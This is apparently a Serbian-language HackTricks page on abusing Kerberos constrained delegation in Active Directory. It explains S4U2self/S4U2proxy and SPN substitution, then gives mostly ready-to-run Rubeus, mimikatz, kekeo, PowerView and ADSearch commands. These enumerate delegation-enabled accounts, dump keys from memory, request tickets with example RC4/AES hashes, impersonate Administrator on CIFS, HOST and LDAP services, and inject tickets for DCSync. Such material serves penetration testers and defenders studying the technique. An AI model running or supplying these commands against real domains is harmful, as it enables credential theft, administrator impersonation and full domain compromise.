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87 lines
5.6 KiB
Markdown
87 lines
5.6 KiB
Markdown
# Constrained Delegation
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{{#include ../../banners/hacktricks-training.md}}
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## Constrained Delegation
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Korišćenjem ovoga, domen administrator može **dozvoliti** računaru da **imituje korisnika ili računar** protiv bilo koje **usluge** mašine.
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- **Usluga za korisnika da se sam (_S4U2self_):** Ako **račun usluge** ima _userAccountControl_ vrednost koja sadrži [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), onda može dobiti TGS za sebe (uslugu) u ime bilo kog drugog korisnika.
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- **Usluga za korisnika da proxy (_S4U2proxy_):** **Račun usluge** može dobiti TGS u ime bilo kog korisnika za uslugu postavljenu u **msDS-AllowedToDelegateTo.** Da bi to uradio, prvo mu je potrebna TGS od tog korisnika za sebe, ali može koristiti S4U2self da dobije tu TGS pre nego što zatraži drugu.
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**Napomena**: Ako je korisnik označen kao ‘_Račun je osetljiv i ne može biti delegiran_’ u AD, nećete **moći da imitirate** njih.
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To znači da ako **kompromitujete hash usluge** možete **imitirati korisnike** i dobiti **pristup** u njihovo ime bilo kojoj **usluzi** na označenim mašinama (moguća **privesc**).
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Štaviše, **nećete imati samo pristup usluzi koju korisnik može imitirati, već i bilo kojoj usluzi** jer se SPN (ime usluge koja se traži) ne proverava (u kartici ovaj deo nije enkriptovan/potpisan). Stoga, ako imate pristup **CIFS usluzi**, možete takođe imati pristup **HOST usluzi** koristeći `/altservice` flag u Rubeus-u, na primer.
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Takođe, **pristup LDAP usluzi na DC-u**, je ono što je potrebno za eksploataciju **DCSync**.
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```bash:Enumerate
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# Powerview
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Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
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Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
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#ADSearch
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ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
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```
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```bash:Quick Way
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# Generate TGT + TGS impersonating a user knowing the hash
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Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
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```
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- Korak 1: **Dobijte TGT dozvoljene usluge**
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```bash:Get TGT
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# The first step is to get a TGT of the service that can impersonate others
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## If you are SYSTEM in the server, you might take it from memory
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.\Rubeus.exe triage
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.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
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# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
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## Get AES/RC4 with mimikatz
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mimikatz sekurlsa::ekeys
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## Request with aes
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tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
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.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
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# Request with RC4
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tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
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```
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> [!WARNING]
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> Postoje **drugi načini da se dobije TGT tiket** ili **RC4** ili **AES256** bez da budete SYSTEM na računaru, kao što su Printer Bug i nekontrolisana delegacija, NTLM preusmeravanje i zloupotreba Active Directory Certificate Service.
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>
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> **Samo imajući taj TGT tiket (ili heširani) možete izvršiti ovaj napad bez kompromitovanja celog računara.**
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- Step2: **Dobijte TGS za uslugu imitujući korisnika**
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```bash:Using Rubeus
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# Obtain a TGS of the Administrator user to self
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
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# Obtain service TGS impersonating Administrator (CIFS)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
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#Impersonate Administrator on different service (HOST)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
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# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
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.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
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#Load ticket in memory
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.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
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```
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```bash:kekeo + Mimikatz
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#Obtain a TGT for the Constained allowed user
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
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tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
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#Load the TGS in memory
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Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
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```
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[**Više informacija na ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
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{{#include ../../banners/hacktricks-training.md}}
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